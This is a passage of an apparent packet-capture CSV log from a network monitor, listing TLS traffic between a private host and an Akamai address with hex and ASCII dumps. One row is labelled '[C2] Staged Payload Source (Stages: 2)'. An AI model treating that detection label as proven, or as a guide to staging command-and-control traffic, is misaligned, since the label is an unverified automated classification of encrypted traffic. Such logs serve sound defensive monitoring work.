.i....g.......u....z...O9\t........1.f........9...\\.....o...[Y.v.\nn...............N.!.3..j6...>.P..L.`...I.....AB.1.....=T68._......Ba....j\"\"!X....\\..J..X.?....i...N....b.......!.k.w........)..C../..N...\tm....O+d.w.;....1W...M....f!).7H@x....D..8)N...gj.j...5C..... %.1Ftd.q)...*'.E.....}..}........?.l.:k.....<.....$..\\<1.U../......n.N.[J.7...pq..;.....%......\"\"..B..#\\..........Y.\\.o+H.......K.%S\\.-.6......D.\t...;Ij&0.`.l.......0../`.........\"\"!..Z....s.....y.......f.#..~......N...~..q.\tW$..0x.%\\........(...1.U!........M..#?S...j_l.R...m|..Mh_.|1..O.Knb^c..>.t....r.g*T..c0.X.....c..../..)......-\np..\"\"...Wo.rx.r...S.....`...-..g.zw.F..~s..fO.9R.\n..qK....C.0.q..b..hJ..4.-...I...L...u.,.5./.......W..y..g..;g...8....K.l..b.eG.a.q........./....8....H..(0Q.H8lC.?%.|ke3..+........|.+...v..|6.....t..3.#7.........S....^V.uLI.keYo0.\n6x$V\"\"N./8..\nu...\t..y.1?l....N...z]..!0........o.V..hk.QIJv.,..2.$.=.q..U.^...;o!..>E\\`$.X9.E.z.(.Wc....r@....Ww....y....eHO|..c.|.:Z....o....2.Xhp'.w.JL.C...m&.4.h_...0!....z_.M..l`..\\.........]I.Cqh..=..K.'..;.....>.{P.o....f.D....5P...a..n.a^.M!>.3iM.u...A.Z,L.....tA..y>.Ez.....z.;.H.;......[....I.Y.>P...?..B.EEy.s..U.J..._?.az..f,..+.o...E...2.6-.>W<..1l)P.\"\".`..W..Q.t`.....9.....2UG...........+....S...Pm...`.H...+.....LY.$......N4...tk~..\\.F>.....SK......GE.. 4b9G.;.....\n...z.LqR....p.d.(.....4....]....;.hg..3.]T..G..,...._R..b...M......C...H=\\z..|?.+...p...s..z.......@..!._...9.$6.H%6j^9..G^4....5.[2....b.0o.v%.<.....y.3t!w...U'v|......#.I....\n|..U..2Y....M..@.=JE.Q\\..$H..q..&...0..K...].....3.........#o.*.....>*....UNu..Ik..F.......y........xt.....x*. .7..X.?8Ci.........g.~......my^x.u....(|)s.{.....T\\Nn...A...>..N.A.......f..&.......Q'X..1..y.........v.-g...3Vk.k.u}Pq..X..e..........q.c.Z/.o.....P*.8'..Iv.g..N.Vv2Mu...E$.{9..8&z...vz..p.2..P%y.h\n][..q_....~C%.Cp?t]...w...........o>a|.25m.\"\".........ey.2..H5..vP.C.[....M}R.=.Ne......0o..i....>N._.!.K.....L.....V....c.....d......J..I&Z.\n..;\n..5v....Y....A.B.\\..r.f.QT...E.P.l@K?@..p...N..t4.&c?~...y...:.W~...#..$..?.V....Dp..`.)T.Pb..g4p.N..,.1`|.r./?.>.....o$a4j..X.Z......_.......m.L.....7sb..1Z.QD...E.\n.......f&..@.3.........Q.Rh.#......k.W.x.<o..74\t.;g...s..p.0B.;.g......P-.\n...-..y.\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 3456, \"\"id\"\": 60585, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 17089, \"\"src\"\": \"\"2.23.89.83\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63945, \"\"seq\"\": 1884099028, \"\"ack\"\": 2441338463, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 63, \"\"chksum\"\": 2944, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Padding\"\", \"\"fields\"\": {\"\"load\"\": \"\"1703031f9c07266d8f2f8a575b76c3c0a1bf04f7ffb322afb3510a09b0a1b73c07061d4fade8b41776fb38f24429f03841165eddab8b36930773fd0873853996e2694d73e1ac1cc0d0d57a93fa3606b8433c45776046838ea78dce685adb10e3a34e38edf4586c261bd347b03f8e849dd2913aa845a2c33a7f6fa45c9728d1f19f0f0a6ea9134b00b023f5c36b83ebf61c8858461c466b19a7f051bc91740462cf7866a71449c243d10578858fe5e68831022453900395a717ce89e66845ba7bf4ff70d05afb15bbd69e07e89cf698798c114377d96a4727392c85d9c3438031200ed57bde464df7b58fc0b9bd573ec744b7741d93a1132117fe6e742977fa4911b72ea57ac5c55f4e7d38b3949961c723f2fd5d7b5db7c1075b7c658f49e8cf4806be1de01f5b4b2983dfffe1561569807d8a311df8907a4a17e4455bc9e488bbeba2ef084a972cfe01a74f7a87109cf64748e8a8a9f86a7500584481518f5cd442dc7a20177ceea04ce14b2972052867013957f419a7f84856dbef124268340f52dfd5333f34eb29ec9e4ea5f95fdeae2313ba1f46776080f719ad37ae898fa2afec02f73359024255e356eb94d476d089e4a5ad4c2587b0d546f987787b6d9ae85b98716cfa9125d6d105ce972a2f98d1d9c53166dbb601c93114db5e8fcfd918af1f731bdfb0e331c5cff1071d1b418a0d205ee09ce2784fee1a11cccedd616a3b5356ef281ab776f25b3d5f4d77ae0b05e58cf4d47d569c05515c113d460b1be669bf27ac92ff2acf37a5519ec2f0cabfe8baeae218256811555661b0c2a28f8170c1e5166d19a4a57bb95ac8aeb8ecbf19e0c47f9c4174a28a7f69c766b3f28554420de3e73498a1de2a218530c66a93da0b4d8fb25902f0f998dfb53eeb180049c43f8d2be714ac5966e54c19f228ce16a5f4d9c7660681f4e104366026fcbc7f20bf89594fb16e1824036a44b374756e4c5649a279b17263c9be07c7f01fcd163befb858a085bcad19d6558cc5a451e349017228303e0e12390ce464f4c654a0f6a79d9130e5ab72ef8daf6ba330e376d8901a7fde169ea5ed138978aedd2e1fabe2c9cf2b95f73e3d1287426ca4fee3eba9f6be5bbc2e6b84accbaf03d844a43b25282eeca8ade9f37624167e4ac231ca22540b4e51ea6da1e3e1bc48deb308cf200d122c110a86860ea55ebd0875fd0b65852e79793cfef1fedc3c06e37c063a88a90dc473eee89904e83ce94f5fba458f170d85d9e4c07b92eecbbcc2dac48553e1c3dd00ee2009f34bbea7a4187312d5ffbf55dd3519dc03c753b3b997eb9bd7a6d0764885991258c0db60b730726c9d9c78b119bc7c5468e3727a6a879f1d2bb4c2bac40f131bbb27d8c792b7b21c11a3013e783cc7675f25cbebaec3f24b059da36c89b761683522e8e68793470799c3e28efa4fd2be74b1baa81bad3a2fa83243da09399863deb887ba44c12c430bc850db07989ef79d50e6291e04c11562ca10f03d9ac645793cdaaf2440cb780635667c18b2b2205e7b4173c302b79bb0b94fb8ec868bc44bef8808597ba0eca144bdf1a97ffe561cdd342714bda9b8688198be7c3c6306766b7943ec51bd5b42e90c090fd5c9f648eade55ac55535a33a8690f2d373b4b0a23c5a3bb82890b886bc7a5023af4e6057e9543ff7969c12a9a9f30c05e39ffc80356b1f829e8ff6c1be4f47d1283887bbaa3419f35bc87f7256b6a4d2094690eb1b91d67d21b8bb5a3fe9075d7cc1fc57a8585814f39099f04e1afad0c2eeb319166b8e58af8b31c7f1039a8fff25ce0f611b4e96f15c0ae5b59af76fc0d6edc94b8d40cf785f7f7a4d97f84e2ee4e98218033b8e36a36b6a8e73e9d50f8824cb16094afc4490f1cf7a8fc4142ab31a0b31bdee03d543638cc5fad8cddc9b0cd4261c70fe0c26a222158c1878ec65ca2e64aa22e58d53fb3f197b2698919134ea489f6e062d890a4ffc09581219a6bda7788030baa0004e08229fe194395962f8fa14eddf9e3096dfbdec1cf4f2b64ff77da3b1294a3e63157d5ff8a4d8496b31e6621298537484078d5f3be8f44edd038294ed492a3676aaf6a8900ac3543d4f9dc80d6202590314674640371299793062a270245800b99c3a97d88fd7de6a7daad8783daaf3fae6c123a6b8b86f01aeb3cb8d4d71fb9241ea35c3c31ba5583a52f1716ec82afe46eec4eaf5b4a9037aeda147071f9b93bd90103c0b425e3aa061a150822f318421e14235cc590ccd6c9dfdfb7bef559ab5cdf6f2b4896d8fcd78ec40b4bd225535cc22d1036c2f686820fde44a1091406da3b496a26308d60bc6c9400dfaea28bd0301de32f60f3a6048d87f9ab88bd222193915aa9f1d0967394a904bec779e4c9b0060cd17f661423a3167efbd2059890824e1cd1a57ea5db71cc095724818d3078bf255c07962ed598911a1628868ffd31df552114ab1f9dbd98eaea4dc6d1233f53c5f7c86a5f6cf752fe077f6d7c8ac44d685fdd7c318cad4f154b6e625e63d8d53ebe74d217c40372df672a5411816330b958b2c2c7ade463dc1d918d2feeb7299bbfdaeceea32d0a7095eb22f1e6c2576ff37278b272f5078d531dd3e39bd06014bc812d8ef867937a779c46dde97e73fdf6664fe43952980d811a714bf8f796f343b03001718ea2629e05684af39034cf2d881ab749f9ada64ca9189075da2c1d35932fb6ee89eea6121257ace6791e8e6783be3b67c0f8b938f5b1d2184be96cfe0562ed6547f261957112a511ef04acd3c4172fd0ddc5c438928be0da48c388283051f248386c43013f258b7c6b653393d52bf38e13919aaf80be7cba2bb3cfb276e0147c36e09ddd8486748b0233e023379cdab489aee1e7b3f8539f9497fd5e561f754c49cb6b65596f30870d36782456224ed02f389ef50a75a6cd90098eb27990313f6c83a885104e92efce7a5d1ecc2130c3e4bc16b489b1996fe8569fbb686b0f51494a76842cd5d832f224d73de771c4af55175eeda81d3b6f2190d43e455c60241858391345ab7ab928055763b1c3b1857240f3a1aadf5777e801c2d47907a516ec65484f7cf41b63f67cf43a5ac313d7bb6ffa1bd9b73211586870270877b04a4cad43a993856d26923486685fefe5cd3021c1eea7047a5f114d1b9e6c601f1f5cf4fc92b4031eef901f5d49a0437168c51b3d940e4ba627abab3b05d5cadc163eeb7b50e46fa5f4a586661b44d9d4de813550ef08af6196956efb615e034d213ec533694d0b75c9e98e417f5a2c4cae1ed9e49e7441bafc793ec6457a8a9ff5aadb7a823b17487f3bee90bd8ad4d35be8cdc587492e59183e50eaeca13feb0742824545798d73160255e94a7fecaa5f3f7f617adea5662c8a9d2b046fdfcffb45f718c332ed362d0b3e573cfdad316c2950bd221260d8d657cf9251f474607fbded9e1939f5b715e6e832554786a81ea381be94d5b2f5062b8a16d2de53b6f6b7506d05cd1360e548a7f4152b13fd16d1f94c59df24d5d7d2aac6944e349f9704746b7e051d5cc3463efa8211d196534bf2b8f3e51504474580bd2034623947053bc32ebbb6940ad383c67aff4c71520213c5dd709e64f52895fdbb8f1334cea6af9f5df7acfaa43b9a6867ed0133ce5d5414f1471a902c1ea29b0b5f528cfd62dddf1a4d9617dde9e1db43ddb2a9483d5c7afd957c3fa62bebf58c70d515cf73c61c7aacc81f2ed0f10b40a88f21955f2e9ac639ca2436a64825366a5e391783475e3413c3908635085b32f8c67ff162be306f0e7625163cdf0eea00a779b5337421778eeca05527767c90f17f84a2de23a849b3fab1e50d7c9ad055939f3259b5939f1e4d8d0540bc3d4a451e515c991d24488f827102b626bdfebf3094a44b178a995d87b3c38bb733e1dd11faf110c88ee3236fb22aed89b8a4ed3e2a138c1eee554e750802496b1b88469f1eb4f8d0fdc0799a00b1ecfcffd6e77874910bde8689782aa3208937b09d58ee3f384369dec4d9cdc1fcf0ff1967dd7e18ea8d99e9006d795e789475f1fb97df287c2973b17bed93c2f5a9545c4e6e1bcc8341a0fb8a3e14a74ea341beb4a18281add96607f6268fffda03afe8be512758a58e31bc197901f9d9b5c21cacd9a0769c2d67ba1cbc33566bc46b1b757d507103f458a9f6658bcf19f6a88d9f7f1d0871ea63a25a2fff6f999bcd8ec0502aee38279c104976106798b34ea55676324d7585b22e45241a7b3995bd38267aa18fe6767af3f170f632e68a5025798e680d5d5be5de715f2eba82077e43259f43703f745dd5cf837708890bfe8bfc9cf2b9cec06f3e617ceb32356d1222eff48ae6f88496d1db6579cb32f9b44835a9a576500e431b5bc0e8ddea4d7d52c13d034e65eef1eaa1f508306f1bf5699f8fad953e4e875fc721fd4b97ecc5f2064c8a881fd302569bd7d79663c8deadc29a6484a90ce6e0874aa7ea49265af90a8bf33b0d9dba3576e7e0d60559d8dddddc410c42fc5c8aa8728266da5154b9d784450150e16c404b3f400c927005c4074e1a8674341926633f7e95addc798cdc913a02577ee9d1b723cdd624e4c13f9e56c9fefbdb447006b460ed2954f45062a591673470b94ef8de2c9731607cb772da2f3ff23ea0a288f9f36f2461346aeef458965ad2a2cd99be1f5fabb886c1c1e7c06dfc4c82d21fa5b2377362a5fb315aac51448f86f045840a8ebef2bdd3d3a766269b16401833e4b2b18e1da1f1d68851c952689f23e4d1a6e6db9b6b8d571678a83c6fa81f3734091c3b6781a08a73068270b83042e63bfd6782cff5f6eed9502df30ac2f6122de6fb79d1\"\"}}]\"\n2026-06-14 14:22:41.919004,14,TCP 10.152.152.11:63945 -> 2.23.89.83:443,10.152.152.11,2.23.89.83,63945,443,TCP,Internal,Private Network,,,,,,Sweden,Stockholm,16625,\"Akamai Technologies, Inc.\",59.3287,18.0717,2.23.88.0/22,A,,,Ether > IP > TCP,3,TCP A Seq=2441338463 Ack=1884102444,bc24112907bbbc2411360d0c0800450000282fb540008006cd0d0a98980b02175953f9c901bb9183de5f704d1f2c50100402b2e30000,\".$.)...$.6\n...E..(/.@....\n.....YS......._pM.,P.......\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 12213, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 52493, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"2.23.89.83\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63945, \"\"dport\"\": 443, \"\"seq\"\": 2441338463, \"\"ack\"\": 1884102444, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 1026, \"\"chksum\"\": 45795, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:22:41.929688,15,TCP 2.23.89.83:443 -> 10.152.152.11:63945,2.23.89.83,10.152.152.11,443,63945,TCP,Sweden,Stockholm,16625,\"Akamai Technologies, Inc.\",59.3287,18.0717,2.23.88.0/22,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > _TLSEncryptedContent,4,TCP PA Seq=1884102444 Ack=2441338463,bc2411360d0cbc24112907bb080045000ff8ecac400040064046021759530a98980b01bbf9c9704d1f2c9183de5f5018003f0df80000e61f1915cb7c120c7a5d7b991969998edbf47961f18754263bc98b1143ba6556a1815cb3b6f2b1c49b3fc3daf8ca68ac5070d9fb7584e5e89795492ee599dd27eb346390b2f40985e48e31f6d129ac3b4c706adb98e982d2071f120be7847c712f5825d1b148f7541cb5c46b0f5f2c05d32bb1c7c8c4f4a07445b3c0aefebc19db6c5f43980283b183c24662e8090a028d2eba318f0a3a05074b8e4598562648dd71ff6043b0f3000d39141205e70b199073e2220d6674eda557efa447c20e7d545422726eca4f2a833ab678e7de139baf814d32db1ce5f2bec71740d1da48dd1aa42ff4248b31340fbd4e6b7c43f563edfa5416f525dab0607ad88af525cc0d3642dc43c2f5d234f5080796c0f5332ba3a52adf6760862a7235612fa07f9df87041316b509273cad9c9be0b887065830448b85d380c6e85ce4b457c46945e2c1760b34b59ca2acf8a04ef0a35dc4dc1bb73280e640c4f0978f1ac1f6c7f1af57cf460db0d24ddcda7d7ecf5abe94d9e06e67eb07ac97bf899756c49c003d9697750378ea086cbf885a26055cd9d533f0f6d248f94ea363741d673ce1662625e51adb0ccd22ad579f193b47346c81ac74ad60f7cd2241fa86a39c28e0d1a583b0c65c42890bce2166928a481da9671a551f94bdbf386875cdd23d9772678837410d0c2666bb82a743c89c0715cc9a8bcc424319475ee03534c9ce67b3c9e2cc660eb754dbd5410841a2daa95f5c4d600ce4c72da0067f9ebdd8e6054202785e36dd08a11f751f804defa750f056d6116cb8d0114799dec6aa743f09e948153fd283078c5b1cc31f1add7d9b545d0ef85daadb395c1f0e7963e50ca3ed3255a04f0f83be661458baef256bff57354121ac746e3e027c2d10312763c64dddfcd06483843d41d62bbaf5cad66247bcb08b856da6f6d7d6033d9f0c5c5240c734551ee1c976268a1a713817b84eacbf83f39181572c3e8fa648310375864fcdd28a0dd387fb235f2d6e5b18cc4fdab29c8176bbdb52259af1404bf09ccdacff129334398317159f4b442be73d5cebf8ef0c01fb2e164e6d775df6ceae5559d639313446e1430c6993c8a3d756de6bc1ca087de6baa32125c8605864f723fe4e63c14dc110ec909a074b41112c5ee828997da603eff13dd06a198183e5025c4bb042c1bd3442a957a36d5fa63ae19cd38f385883db2baba5e44cae3a29029a7ec78304e8b7fd3ff190508c18af2293e321698606d773cabd74a53615833d97aded9418e349d0395de8b43a68877e198dabd3c023d0f5c47a168de04352e25eb628b00e71eb61cf5762d26eef51e86ddca367a14948e94b1c4a81089c9f20b015a701f2b36c09a89a1b738ebd75451515108f8d55a7a7a032bfd22449971b91b752aceb0ddc40814c323bbf0be7b99a9c9dff934a06c571e4e3998fc7f61468baf300c1a5b1abb16f71b9abe54fcd0c9152bed895349da7c574f430972d53ac83cff5e89d06b215db03366faa6efd24c93079c094ad6034b626b2754dc56bc0c6b1b49f255c1b4a7b14b7750fde3658ac698a1bfeab589e645df29f1abbf81d7b595a416e4afb57ec4a178071ce61a9b70a9067cbf60efa3c8783ab59f2dd2822b5e7f79abc6344b7bdc6289eba7ce570c319deb91c5a857511a57e996e71f1322680d6459df4af0f99d35e6cf924fade086b268f202fa597a30a0f8c119613f7ea3e174522616ef3176353667f253e1111e277f17c0a616b7c226cad05179b8aae41b0e6606b487d941b1a3d6822d5939230d0c43adab276bd371fa0b762d6e0eb3dc1542e0dba0d5ea262d597a054299b9c6c2a1a4c60a16f66d9851fe46625ee3c3ab5db826b711af0c85eb675ea6e63d432c41da6ef78bcde329f546d0da742e77bd3a5d417348c23f616d1aea1a1708f431297b32716acff5068de4ff63047946ef5ee2e2de29746827692e0a1424ecafe01fd00a49dbd6a0a666dfc05f702d12e0499c4fd3d6776da0bbf76e0c4d1667ad4520df6667453c1c134188457a11a0781c3d2610ce849bab3852926719ee0dcf96908b412ac275c3a07fbbbca51b5b691ee5e485faafd5dad0d1a435810658170d1f778bad155944da71429797e1cf63099523a8be7da59faa61b72516e90505324e5789ba8a52b5edc3b4cda12ecad4133cfb436504460f0c7f386831ab52d04012bde305991f6edaeac8189c8f637083ae2313a94739049cb43d52e7ce19bb7c957133cb679a2e6d5211859dd058389067596d1168d9f27fe3643813ff860c34be1a41dd774037426407b1e937acefbb4a671606a3d167db4a5ec0286d9ba6f21aa2b4672c5e49a07364ffceb683acfbd55df9f20bff3bb26a38aa8f1dc280a6c15b8ca3d583abc6016e80ec81641cd4327b4993812922968ff68d2242660220d5dd695101e97023f0aa5dc5db6752889d1082ebe8f3d5e07b2a245eca8dbd1d464fbf580c72c2340dfd4bb8fe0c49aa9b03374cda4a1f498a700d4a15f39bfdaaa110bf8a261e30d0a518a2e75e28eae6e828929efc85a8fa2ac3316d14a5301e43c9f244d8296084108caf1f53149d2639f969bf496b7b91f45881aaf27793215d916be3102caaf5849f00c85ffb08db65c66afdd83e529bb560a90a7a5c7329954a8d3cac93eadf5b72800dfbf3f9ff9fd0f6759cb299b1347c140abeae89f72617bd7cd83939087becee73800f03acde89931f0ffaac2ed22dc8f08e08af8cdd8580766c163a0d29011eaa0e05bebbf266b4b056747383c60895658df94b8f971c47902374ca54615472de16fff54561f1d117b7e93530cd65a091eb48f8f8385966f3b68231c7c35a120a57e9d889e8db58564da3ea4b3b7aa303ee5dec35005e7ca82989b8d0d147208a783fb4ba80ef2285f4aa1088006771cb7c630ebbdcf843aab8c71e523470661972eefd4acbdc3608e350633bbd60809433210c3a9cbb83dcd885911683253a1834665a9e0bbc4eb54b061eb063ce4e8c42279146637536ee00bced781a825490ababd99e786fefdaba0dc1e33860706900c054d603c5587526aef3aafcef3bcde9fa7d60a887b3cf0cd0c32d9b03678bb9236483c1fc91156496e520ca48b72b56ee2452ffe6af05b041b0a2e1b18697de77555504ae03b8b80b39d70474e6fecad222da3e32371c9f94e06a3e1c3953e3498ce5967b742a5c5852b703451bda73cd7112f12d33e17a1bd595506bdbb9fc497afcab2e30ed4c51eb823e7a0f1f4ffec97cbcf34cacff5eb1443d7787413a568098a51e611f4a1f0c60e5005bfbef6d39a7cf4da95e2712e7653c92a5d4f6b0414045d8e2f534cbaa195bbb06a9c92f7ecbbaea889b8bae38bb272a6e05d71f75628795297902d428a638a60a84b2fce617d0836a2f00d9d8ac3dd4ed7de62fa19de0a9cfca08d489e9619b8d1a4651c092d0891845fe17b127f386f4433c44e3a1f659ac62d13445eba4672160200f884166477e54a38e16aa2ba01ba56424e84830b702ce8b202a1096ab639ec87f23124e69db3fa001a1e62d53695041eb156c5f192ac82248d3583fa161671be36a8e61ad6d64d8f09a9851665d42b43e4be213ca2fdb8d2b815c0c8e299346e1e3868ef740df4e7321b1fc18df5d80d1df6c853d3746e3eba48c8dcc2cef294179fe7e8cbaac89b1d8b297ef5f83973e1eb9d49da63b660e960a13adf2520df906a9853d0a5978648f3ac29897c0c1cdea24f66347b4e52c632f3fbbd584d0c64f9b5c42b80aaa316161f3501be073f88caec098f450e4efc5ba0daf2bd2a98c3417e3269c435ebe457f61aea61b35542c93d986ae800b8012a722bd9dbbfced54a9ccf83fda2cbd90a899073e8a2e70c87f722edbaa953214f088651ad2e1e01565ec8127f59de1c05644e564536901b86f00c978d1de4be9ce531419da5e8ffd64d03726097812a58c76cd8766c9312d3e1e1b48f98a02c8cda954735bf63637e0951217e2772b3fa0626a7022dcf19f57aaf8c5d2aef3a14b88e8e1a1c3b766ec78862b6780798052bd7804b1045796b12e9bcdcc19bf280890f67aaac78f8ead5742b6b90d2b52fd5354ad064a8e5004ce1b2d574bc2cc3d148e820807c6ad3b27ac57c1c8bf8b148bd977b2ccaea5429d9f14ad137cccd6e45b5e8bffdf1f6616c0dd57d06c469c81006d1196f084224339f42639183c62751751684676101317948d32add4fe3ff429e38f224dd0c1d9eb7877a86eb367a0b8d7372e20df6d5c14d53fbead473150f50e9b47ae7e51ea2b4e17a6c9727bf856d6dc4f540f455d57cfccde0fcd191140ff500e54f26d67dfd183510a81c159f69503785e1322986ede614ab0c0462902367097edb252452eb62b3c89c04cdd145c4d0c8afdec571cfb5973c31f6ed943890e55f199a2ca12cdabdff37928ae12d539955331c3694a0b7757ca79773dfde5b7e0d716b28fa8bba92f72c801021557b33b2ae23a1a93deab903c9fa981307cbf9b46897e1b09a83f4cb0b37c7c9f98ed01b85dafd98b005f9b0a0d1f595c0d2eea1aa3b6702d1d8ebb467f99d2531daedd53a36dd3d09b29c586910bc7fc59954440f2dc3aeb7a5d5e6b9aaa7bb5b638e612c3dfc8e807bc8ce370617af39c55f0ac76c20805eee3209a918b97f93ad7bc78b446af5fe35eab6579e39aa47d454e62c8ca91a1cf7d8612d35829e55856ac4dba46866f484f072b288abb5327a4a3a6de7df0d1ee4bdd3e9841410df3641e302cb3e54a6fe1fd149dfe99f26d4abba6a94899565494aab6502bc218d09d15ae00c04ff6eca7090028da3bb3bf581ed0e1c27fa31c3cb90eb68891e8d7957e00a3567e20e445e389925bd36fc271b6906295b098fa6f9665fdb4cba9e170a20d261540bd0d08c03fb9688571e214bef71b7929da249d5c938c6330a1520f5daaa4313aa1c852044a9b71ca6de1267af5db8d5154cc305bc132ede539d1df40f8280705b396fcd8ecb26ef7e6792a830fffb3761d8b548b6fc61ad44fa923bbf1420979384c658ec2adcecab02c4bc8f709b93f4e6e798e78f0a793f0ffafd78ec9add93fb103db850e85b2a034339f5ed449d66811212f7daae4cd61dc5f13664bea828be5b71d98ef8bf835fec261eb9d42b3ced0c2484ec51010167d07259671da56dd68d90e039d71d6f4ae12789f9259d8de510d2535df3913b9a3df326ef42bee72ce4f64481830e3d4674f77ef69a03bd08150cd44aa3b27d1f12af6d9408ade9a2c634b71ef704764a431c1f34ace05e9c5421bd581a17f7272619bd387a9cb9c75a7743bcca398d9695c1ea7f1a0a04111279df3ea93bbe470d07532b96fe812e0cbf1a7506d14859c4843ee790ffe7c479bb844b5e482640c9d9d1a0aae8ae0a70bea75dea08097a1c1307959aecbb7014ab5ea99d63ae2fabb8ac1a9dbbd6dfda2f04b00b96a59f7977b994f168c56da05be9ba20bfef4203e380466cc0387294a0bf83cff70b72f0ea429c8bf2fe916c1cf196f796eb0f0653423aaba2c71c5c3a982d2186ae5aeabac2fd75d403786074d9b9b228c2fc5ba3bd71d7bbf4922acddf59580b16e4cc585ec0acd605bb6e7b3019c6393d02328a38de0ffb4fcb2ed0d8fad620dc9ad6a11a0e471b9287d546fe0ce11aad3c5fc9e3acece879d0240d633b739988cda4eb1664f7ea22683e3a5fe4d2ac2f5133b8f49789ea136d2c22614b07004ca2928d9,\".....|..z]{..i....ya..T&;...C.eV..\\......?....h.Pp..u.....I....'.4c...\t...1..).;Lpj...........|q/X%..H.T...k._,..+......tE.......l_C......Fb.\t\n....1.\n:..K.E.V&H.q.`C...\n9.......s.\"\"\nft..W..G..}TT\"\"rn.O*.:.x......M2.......@..H.../.$.14..Nk|C.c..T..%..`z...%.\n6B.C...4......3+..*.g`.*r5a/....pA1kP.s......pe..H.]8.n..KE|F.^,.`.KY.*....\n5.M..s(.d.O\tx...l...|.`.\n$........M...~.z.{..ulI...iwP7.......`U..S?.m$...67A.s..bb^Q....*.y...sF...J..|.$..j9..\n.X;.e.(....i(....q.Q.K....\\.#.w&x.t...fk.*t<..q\\....$1.u..SL..{<.,.`.uM.T...-.......Lr..g....`T '..m....Q....u..ma.....y..j.C....S.(0x...1.....E...........>P.>.%Z...;.aE...V..sT...F..'....v<d....H8C..b..\\.f${...V.om}`3....$.sEQ...bh....{....?9..r...d..7Xd..(..8..5........)..k..\"\"Y....\t....)3C.1qY..B.s.........d..u.l..U.c..Dn.0..<.=um......k.2.\\...Or?..<.....\t.t.........`>.......>P%...,..D*.z6..c...8...=...^D....)..x0N..........)>2..`mw<..JSaX3.z..A.4.....C..w....<.=.\\G.h..5.%.b.......v-&......6z.............Zp.+6.....8..TQQQ...Zzz.+.\"\"D.q..u*.......#...{.....4.lW.N9...aF..0..[.......T....+..SI.|WOC\tr.:.<.^..k!].3f....L...\tJ..Kbk'T.V..k.I.U....KwP..e.........E.)............~..x.....p..|.`...x:..-..+^.y..4K{.b....W.1.....WQ.W.....\"\"h\ndY.J...5...O....h...Yz0....a?~..tR&..1v56g.S...'.......&..Qy.....f....A....-Y9#\n.C..'k.q..v-n....B.....&-Yz.B.......\n..m.Q.Fb^...].&......g^..=C,A.n....).F..t.w.:]AsH.?am......1){2qj......c.yF.^...)th'i.\n.$.....\nI....f.._p-..I.O..wm...n.M.g.E .fgE<..A.Ez..x.=&.....8R.g..\n....A*.u.......[i...........5..X.\n.w...YD.qB....c\t.#..}...a.%....2NW...R..........<.Ce.F...8h1.R.@......n......cp..#..G9...=R....|.q3.g..mR....X8.gYm.h....d8....4..A.w@7Bd...7...Jg....g.J^.(m......g,^I.sd.......]....;.j8.......[.......n...d..2{I..)\"\"....\"\"Bf. ..iQ..p#..]..gR.........{*$^....FO.X.r.4\n.K...I...7L.J.I.p\nJ.........&.0.....^(...(......*.1m..0.C..D.)`.....S..&9.i.Ik{..X...w.!].k..,......_...e.j..>R..`.\nz\\s).J.<....[r.\n.......u....4|.\n....&..|.99.{..s.............-.........vl.:\n)........f..Vts....e..K...G.#t.TaTr....Ea.....50.e...H..8Yf...1..Z.\nW.....XVM..K;z...].5.^|.)....G .x?....\"\"......gq.|c....C....R4pf.r..J..6..Pc;.`..3!.:.........%:.4fZ...N.K...c.N.B'.Fcu6....x..T.....xo...\n..8`pi..T...Xu&.....;...}`.......-..g..#d.....d.. .H.+V.$R.....A.......wUU......9..t....\"\".>27....j>.9S.I...{t*\\XR..E..s.q..-3.z...Pk...Iz...0.LQ..>z..O..|..L..^.D=w.A:V....a.J..`..[..m9..M.^'..e<.....A@E...4...[..../~.......8.'*n...ub..)y..(.8.\n.......j/....=..}./..........a...FQ.....E...'...C<D...Y.b.4E..g!` ..AfG~T....+...d$.H0.... *...c...#.Ni.?....-SiPA..l_.*.\"\"H.X?.ag..j.a.md....Qf]B.>K.../..+.\\..).F.....@.Ns!....]...l.=7F......,.)Ay.~........._..>.....;f..\n...R\n....=\nYxd.:.......$.cG..,c/?.....O.\\B.\n.1aa.P..s......P....\n.+...4..&.C^.E.a...5T,.........\"\".....T...?.,.....>..p..r....2...e.....e..'....VD.dSi..o..x..K..S...^..d.7&\tx...v..f.1->..H......Ts[.67.....w+?.bjp\"\"...W.......K......f.x.+g.y.R.x...W........(...z.....WB..\n+R.ST..J.P...-WK..=.......;'.W.......w....B.....|...[^....f...W.lF...m....\"\"C9.&9.<bu.QhFv.....2...?.)..\"\"M....xw.n.g...7. 